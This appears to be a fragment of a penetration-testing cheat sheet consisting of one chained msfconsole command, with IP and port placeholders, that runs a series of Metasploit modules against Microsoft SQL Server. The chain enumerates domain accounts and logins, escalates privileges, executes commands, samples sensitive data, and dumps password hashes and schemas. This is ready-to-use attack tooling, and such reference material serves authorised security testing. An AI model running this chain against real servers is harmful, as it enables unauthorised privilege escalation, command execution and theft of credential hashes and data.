Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

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